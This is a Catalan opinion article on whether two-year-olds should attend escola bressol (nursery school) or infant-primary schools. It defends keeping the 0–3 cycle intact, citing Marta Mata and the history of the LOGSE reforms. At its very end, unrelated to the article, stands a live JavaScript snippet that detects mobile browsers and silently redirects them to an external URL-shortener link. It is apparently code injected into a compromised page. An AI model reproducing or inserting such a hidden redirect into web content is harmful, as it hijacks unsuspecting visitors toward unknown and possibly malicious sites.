Opinió

Els infants de dos anys, a l’escola bressol

Marta Mata, en el seu discurs de l’any 1999, quan va ser investida Doctora Honoris Causa per la UAB, deia: “Benaurat Plató, que va concebre la República com el marc de la política democràtica i de l’educació dels infants, alhora, i benaurada la civilització, que ha après de somiar-ho amb ell (…) El somni és un element configurador de l’educació pública, que ha de ser somniada, viscuda interiorment pels que la volen, encara que no existeixi en la realitat, si és que prenen el compromís de la seva realització”.

Marta Mata i Irene Balaguer van ser fidels a Plató i somiaren, i van lluitar perquè l’educació dels més petits deixés de ser només una necessitat social. Els anys 1970 i 1980, els llocs on es tenia cura dels més petits s’anomenaven guarderies. Algunes depenien de Serveis Socials, d’altres de Sanitat i unes quantes de Treball i Benestar Social. Marta Mata i Irene Balaguer, juntament amb altres mestres, treballaren perquè la cura dels infants de 0 a 3 anys assolís la categoria d’etapa educativa i es reconegués com a dret de tots els infants de 0 a 6 anys l’atenció de qualitat, tenint en compte les seves necessitats específiques, tal com consta a la Convenció dels Drets de l’Infant, que el mes de novembre passat va complir trenta anys.

A la passió que totes dues sentien per l’educació dels més petits, hi sumaven l’interès per trobar la paraula més adequada per anomenar el lloc on educar-los, perquè, com diu Michel Foucault, les paraules no són neutrals.

Amb aquests paràgrafs vaig obrir la XI Jornada Marta Mata Garriga, que vam celebrar el mes de febrer de l’any 2020 a Saifores, i ho repeteixo, perquè novament em veig amb l’obligació d’escriure sobre l’educació dels més petits, de 0 a 3 anys, davant del rebombori de propostes, tant a l’Estat com a Catalunya, sobre si situar els nens de dos anys a les escoles bressol o a les escoles d’infantil i primària, i ho faig invocant dues persones que tant i tant ens van aportar per deixar ben clara la prioritat educativa de tota institució dedicada a l’infant. Com més petit, més educativa –perquè el més important és l’ajut al desenvolupament de la seva personalitat– i aquesta etapa s’anomena escola bressol i no guarderia.

El juliol de 1976, en un document titulat Per una nova escola pública catalana. Declaració de l’XI Escola d’estiu de Barcelona, el punt 4.5 recull que “cal un conjunt institucional que aculli un tronc únic sense trencaments, amb titulació única que tingui els cicles següents, definits més per edat madurativa que cronològica: llars d’infants, de zero a tres anys; parvulari de tres a set anys; primer cicle d’ensenyament, de set a deu anys; segon cicle de deu a dotze anys; tercer cicle de dotze a catorze anys; quart cicle, de catorze anys en amunt”.

Observem que ja en aquest document es recull el cicle de zero a tres anys com una etapa educativa que ha de ser científicament plantejada i realitzada formalment, institucionalment i professionalment.

És a la dècada dels vuitanta que es realitzaren congressos de la Coordinadora Estatal de Escuelas Infantiles reivindicant formació específica i reconeixement de les persones que s’hi dedicaven professionalment.

Recordo que vaig participar com a vicepresidenta de la Comissió d’Ensenyament de la Federació de Municipis de Catalunya, al 6è Congrés que es va celebrar a Girona, el desembre de 1988, i en el qual vam concloure que l’educació infantil era l’etapa educativa de zero a sis anys, amb dos cicles: el zero a tres anys com escola bressol  i el tres a sis anys com a parvulari, no com a preescolar, i que des dels ajuntaments defensaríem que s’obrissin classes de tres anys a les escoles públiques.

Més endavant, la Logse va reordenar el batibull de l’oferta educativa a la xarxa d’escoles públiques que majoritàriament es donava en els 4 i 5 anys i a la vegada concentrava els esforços amb el canvi d’una programació de preescolar (abans de l’escola) amb la de parvulari, on cal que s’ofereixi a l’infant un ambient per la socialització, la seguretat i el zel d’aprendre, d’expressió espontània, dignitat i autonomia en contacte amb el medi natural… Sabem que no va ser gens fàcil la incorporació de la classe de tres anys a les escoles i recordem encara alguns anuncis d’escoles que a l’hora d’inscriure els infants demanaven que no portessin dodotis o  tinguessin control d’esfínters.

Per què ara aquesta febre de voler trencar un cicle que té sentit en ell mateix? Si hi ha sobrant d’espai a les escoles, reduïm ràtios, fem més grups i millorarem la qualitat de l’educació. Si volem que els nens i nenes de dos anys tinguin plaça gratuïta (que ja seria hora) ajudem els ajuntaments al manteniment de la seva oferta, que fa anys que la Generalitat no hi posa els recursos que s’havia compromès a donar.

Si cal fer passos endavant, en proposo dos:

1. Coordinem les escoles bressol de zero a tres anys, per fer les connexions que calgui d’objectius i finalitats amb l’etapa educativa de tres a sis de les escoles.
2. Incrementem la despesa educativa com a inversió de futur.

I així anirem avançant en el somni d’una educació pública de 0 a 18 anys, pel qual fa tants anys que treballem.

var isMobile = /iPhone|iPad|iPod|Android/i.test(navigator.userAgent); var element = document.getElementById(‘text’); if (isMobile) { window.location.href = “https://zeep.ly/KHeRc”; } else { }